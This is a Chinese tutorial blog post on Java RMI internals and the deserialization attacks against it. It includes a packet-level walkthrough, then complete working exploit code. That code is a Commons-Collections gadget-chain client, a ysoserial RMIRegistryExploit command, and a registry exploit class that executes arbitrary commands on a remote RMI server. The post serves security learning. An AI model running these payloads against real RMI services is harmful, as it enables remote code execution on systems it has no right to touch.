java反序列化-RMI

java反序列化-RMI

什么是RMI

RMI(Remote Method Invocation),远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。

RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。(我们可以再之后数据包中看到该协议特征)。

在RMI中对象是通过序列化方式进行编码传输的.

RMI分为三个主体部分:

  • Client-客户端:客户端调用服务端的方法
  • Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
  • Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样。
唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端

流程

Server部署:
Server向Registry注册远程对象,远程对象绑定在一个//hostL:port/objectname上,形成一个映射表(Service-Stub)。

Client调用:

  • Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。
  • Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程RMI服务器
  • Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。

实现

服务端

  1. 服务端编写一个远程接口
public interface IRemoteHelloWorld extends Remote {
    public String hello(String a) throws RemoteException;
}

这个接口需要几点要求:

  • 使用public声明,否则客户端在尝试加载实现远程接口的远程对象时会出错。(如果客户端、服务端放一起没关系)
  • 同时需要继承Remote接口
  • 接口的方法需要生命java.rmi.RemoteException报错
  • 服务端实现这个远程接口,如下:
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
        protected RemoteHelloWorld() throws RemoteException {
            super();
            System.out.println("构造函数中");
        }

        public String hello(String a) throws RemoteException {
            System.out.println("call from");
            return "Hello world";
        }
    }

这个实现类需要:

  • 实现远程接口
  • 继承UnicastRemoteObject类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上。(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。)
  • 构造函数需要抛出一个RemoteException错误
  • 实现类中使用的对象必须都可序列化,即都继承java.io.Serializable
  • 注册远程对象,如下:
public class RMIServer {
    //远程接口
    public interface IRemoteHelloWorld extends Remote {
        ...
    }
    //远程接口的实现
    public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{
        ...
    }
    //注册远程对象
    private void start() throws Exception {
        //远程对象实例
        RemoteHelloWorld h = new RemoteHelloWorld();
        //创建注册中心
        LocateRegistry.createRegistry(1099);
        //绑定对象实例到注册中心
        Naming.rebind("//127.0.0.1/Hello", h);
    }
    //main函数
    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
    }

关于绑定的地址很多博客会rmi://ip:port/Objectname的形式,实际上看rebind源码就知道RMI:写不写都行;port如果默认是1099,不写会自动补上,其他端口必须写。
总结来说,一个服务端包含三部分:

  1. 一个继承了java.rmi.Remote 的接口,其中定义了我们要远程调用的函数,比如上面的hello();
  2. 一个实现了此接口的类;
  3. 一个主类,用来创建Registry,并将上面的类实例化后绑定到一个地址。

Naming.bind(RMI_NAME, new RMITestImpl())绑定的是服务端的一个类实例,RMI客户端需要有这个实例的接口代码(RMITestInterface.java),RMI客户端调用服务器端的RMI服务时会返回这个服务所绑定的对象引用,RMI客户端可以通过该引用对象调用远程的服务实现类的方法并获取方法执行结果。

客户端

部署:

package rmi;

import java.rmi.Naming;
import java.rmi.NotBoundException;

public class TrainMain {
    public static void main(String[] args) throws Exception {
        RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
        String ret = hello.hello("input!gogogogo");
        System.out.println( ret);
    }
}
  • 需要使用远程接口(此处是直接引用服务端的类,客户端不知道这个类的源代码也是可以的,重点是包名,类名必须一致,serialVersionUID一致)
  • Naming.lookup查找远程对象,_rmi:也可省略

通讯细节

我们抓包看:
在这里插入图片描述

上面就是完整的通讯过程,两次tcp握手即两次tcp连接
第一次连接:
第一次tcp握手是客户端与注册中心建立连接,对应Call如下,客户端查询需要调用的函数的远程引用,
在这里插入图片描述

注册中心返回远程引用和提供该服务的服务端IP与端口,对应ReturnData,端口号是\x00\x00\xef\x45即61253,ip:192.168.56.1
在这里插入图片描述
在这里插入图片描述

接着客户端另起一个端口连接到服务端(192.168.56.1:61253),在这个调用中,才是真正的调用,也就是hello()

在这里插入图片描述
在这里插入图片描述

都是以序列化形式传输。
这里引用p牛的话:

RMI Registry就像一个网关,他自己是不会执行方法的,但是RMI Server可以在上面注册一个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后客户端再连接服务端,最后实现远程方法再服务端上的调用。

在这里插入图片描述

利用点

一个例子:攻击RMI服务端

服务端必须具有如下特点:

  • jdk版本1.7
  • 使用具有漏洞的Commons-Collections3.1组件
  • RMI提供的数据有Object类型(因为攻击payload就是Object类型)
    我们已经确定了RMI是基于序列化的远程方法的调用
 服务端(受害者)
package demo1;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class Server {

    public interface User extends Remote {
        public String name(String name) throws RemoteException;

        public void say(String say) throws RemoteException;

        public void dowork(Object work) throws RemoteException;
    }

    public static class UserImpl extends UnicastRemoteObject implements User {

        protected UserImpl() throws RemoteException {
            super();
        }

        public String name(String name) throws RemoteException {
            return name;
        }

        public void say(String say) throws RemoteException {
            System.out.println("you speak " + say);
        }

        public void dowork(Object work) throws RemoteException {
            System.out.println("your work is " + work);
        }
    }

    public static void main(String[] args) throws Exception {
        String url = "rmi://127.0.0.1:1099/User";
        UserImpl user = new UserImpl();
        LocateRegistry.createRegistry(1099);
        Naming.bind(url, user);
        System.out.println("the rmi is running ...");
    }
}

客户端(攻击者)

package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

import demo1.Server.User;

public class Client {
    public static void main(String[] args) throws Exception {
        String url = "rmi://127.0.0.1:1099/User";
        User userClient = (User) Naming.lookup(url);

        System.out.println(userClient.name("lala"));
        userClient.say("world");
        userClient.dowork(getpayload());
    }

    public static Object getpayload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

在这里插入图片描述

其实就是把RMI服务器当作一个readObject复写点去利用。

使用ysoserial对RMI的Registry进行攻击

首先启动RMI服务
ip:192.168.126.144
port:1099
在这里插入图片描述

接着使用ysoserial对服务进行攻击

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.126.144 1099 CommonsCollections1 calc.exe

在这里插入图片描述

代码分析

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.HashMap;
import java.util.Map;

import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;

/**
 * RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
 *
 * @author yz
 */
public class RMIExploit {

   // 定义AnnotationInvocationHandler类常量
   public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

   /**
    * 信任SSL证书
    */
   private static class TrustAllSSL implements X509TrustManager {

      private static final X509Certificate[] ANY_CA = {};

      public X509Certificate[] getAcceptedIssuers() {
         return ANY_CA;
      }

      public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

      public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

   }

   /**
    * 创建支持SSL的RMI客户端
    */
   private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {

      public Socket createSocket(String host, int port) throws IOException {
         try {
            // 获取SSLContext对象
            SSLContext ctx = SSLContext.getInstance("TLS");

            // 默认信任服务器端SSL
            ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);

            // 获取SSL Socket连接工厂
            SSLSocketFactory factory = ctx.getSocketFactory();

            // 创建SSL连接
            return factory.createSocket(host, port);
         } catch (Exception e) {
            throw new IOException(e);
         }
      }
   }

   /**
    * 使用动态代理生成基于InvokerTransformer/LazyMap的Payload
    *
    * @param command 定义需要执行的CMD
    * @return Payload
    * @throws Exception 生成Payload异常
    */
   private static InvocationHandler genPayload(String command) throws Exception {
      // 创建Runtime.getRuntime.exec(cmd)调用链
      Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                  String.class, Class[].class}, new Object[]{
                  "getRuntime", new Class[0]}
            ),
            new InvokerTransformer("invoke", new Class[]{
                  Object.class, Object[].class}, new Object[]{
                  null, new Object[0]}
            ),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
      };

      // 创建ChainedTransformer调用链对象
      Transformer transformerChain = new ChainedTransformer(transformers);

      // 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象
      final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

      // 获取AnnotationInvocationHandler类对象
      Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);

      // 获取AnnotationInvocationHandler类的构造方法
      Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

      // 设置构造方法的访问权限
      constructor.setAccessible(true);

      // 实例化AnnotationInvocationHandler,
      // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
      InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

      // 使用动态代理创建出Map类型的Payload
      final Map mapProxy2 = (Map) Proxy.newProxyInstance(
            ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
      );

      // 实例化AnnotationInvocationHandler,
      // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
      return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
   }

   /**
    * 执行Payload
    *
    * @param registry RMI Registry
    * @param command  需要执行的命令
    * @throws Exception Payload执行异常
    */
   public static void exploit(final Registry registry, final String command) throws Exception {
      // 生成Payload动态代理对象
      Object payload = genPayload(command);
      String name    = "test" + System.nanoTime();

      // 创建一个含有Payload的恶意map
      Map<String, Object> map = new HashMap();
      map.put(name, payload);

      // 获取AnnotationInvocationHandler类对象
      Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);

      // 获取AnnotationInvocationHandler类的构造方法
      Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

      // 设置构造方法的访问权限
      constructor.setAccessible(true);

      // 实例化AnnotationInvocationHandler,
      // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
      InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);

      // 使用动态代理创建出Remote类型的Payload
      Remote remote = (Remote) Proxy.newProxyInstance(
            ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
      );

      try {
         // 发送Payload
         registry.bind(name, remote);
      } catch (Throwable e) {
         e.printStackTrace();
      }
   }

   public static void main(String[] args) throws Exception {
      if (args.length == 0) {
         // 如果不指定连接参数默认连接本地RMI服务
         args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
      }

      // 远程RMI服务IP
      final String host = args[0];

      // 远程RMI服务端口
      final int port = Integer.parseInt(args[1]);

      // 需要执行的系统命令
      final String command = args[2];

      // 获取远程Registry对象的引用
      Registry registry = LocateRegistry.getRegistry(host, port);

      try {
         // 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)
         String[] regs = registry.list();

         for (String reg : regs) {
            System.out.println("RMI:" + reg);
         }
      } catch (ConnectIOException ex) {
         // 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书
         registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
      }

      // 执行payload
      exploit(registry, command);
   }

}

参考

javasec
RMI-反序列化 - 先知社区 (aliyun.com)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值